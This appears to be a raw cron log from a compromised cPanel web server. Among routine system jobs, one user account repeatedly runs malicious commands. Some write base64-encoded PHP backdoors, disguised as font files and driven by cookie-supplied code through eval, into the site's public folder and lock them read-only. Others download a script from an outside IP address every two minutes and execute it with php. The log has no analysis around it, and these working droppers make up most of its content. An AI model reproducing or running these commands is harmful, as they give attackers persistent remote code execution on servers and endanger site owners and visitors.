Sep  1 21:07:01 ip-184-168-122-23 CROND[24913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:07:01 ip-184-168-122-23 CROND[24914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:08:01 ip-184-168-122-23 CROND[24988]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:08:01 ip-184-168-122-23 CROND[24990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:08:01 ip-184-168-122-23 CROND[24992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:08:01 ip-184-168-122-23 CROND[24991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:08:01 ip-184-168-122-23 CROND[24993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:09:01 ip-184-168-122-23 CROND[25082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:09:01 ip-184-168-122-23 CROND[25084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:09:02 ip-184-168-122-23 CROND[25086]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 21:09:02 ip-184-168-122-23 CROND[25089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:09:02 ip-184-168-122-23 CROND[25091]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:10:01 ip-184-168-122-23 CROND[25289]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 21:10:01 ip-184-168-122-23 CROND[25292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:10:01 ip-184-168-122-23 CROND[25294]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:10:01 ip-184-168-122-23 CROND[25296]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 21:10:01 ip-184-168-122-23 CROND[25297]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 21:10:01 ip-184-168-122-23 CROND[25299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:10:01 ip-184-168-122-23 CROND[25301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:10:01 ip-184-168-122-23 CROND[25300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:11:01 ip-184-168-122-23 CROND[25404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:11:01 ip-184-168-122-23 CROND[25408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:11:01 ip-184-168-122-23 CROND[25406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:11:01 ip-184-168-122-23 CROND[25407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:12:01 ip-184-168-122-23 CROND[25491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:12:01 ip-184-168-122-23 CROND[25492]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:12:01 ip-184-168-122-23 CROND[25494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:12:01 ip-184-168-122-23 CROND[25497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:12:01 ip-184-168-122-23 CROND[25495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:13:01 ip-184-168-122-23 CROND[25594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:13:01 ip-184-168-122-23 CROND[25598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:13:01 ip-184-168-122-23 CROND[25596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:13:01 ip-184-168-122-23 CROND[25601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:14:01 ip-184-168-122-23 CROND[25678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:14:01 ip-184-168-122-23 CROND[25679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:14:01 ip-184-168-122-23 CROND[25681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:14:01 ip-184-168-122-23 CROND[25680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:14:01 ip-184-168-122-23 CROND[25682]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:15:01 ip-184-168-122-23 CROND[25782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:15:01 ip-184-168-122-23 CROND[25784]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 21:15:01 ip-184-168-122-23 CROND[25785]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 21:15:01 ip-184-168-122-23 CROND[25787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:15:01 ip-184-168-122-23 CROND[25788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:15:01 ip-184-168-122-23 CROND[25790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:16:01 ip-184-168-122-23 CROND[25873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:16:01 ip-184-168-122-23 CROND[25874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:16:01 ip-184-168-122-23 CROND[25877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:16:01 ip-184-168-122-23 CROND[25879]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 21:16:01 ip-184-168-122-23 CROND[25878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:16:01 ip-184-168-122-23 CROND[25880]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:17:01 ip-184-168-122-23 CROND[26062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:17:01 ip-184-168-122-23 CROND[26064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:17:01 ip-184-168-122-23 CROND[26066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:17:01 ip-184-168-122-23 CROND[26065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:18:01 ip-184-168-122-23 CROND[26145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:18:01 ip-184-168-122-23 CROND[26147]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:18:01 ip-184-168-122-23 CROND[26148]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:18:01 ip-184-168-122-23 CROND[26149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:18:01 ip-184-168-122-23 CROND[26152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:19:01 ip-184-168-122-23 CROND[26234]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:19:01 ip-184-168-122-23 CROND[26236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
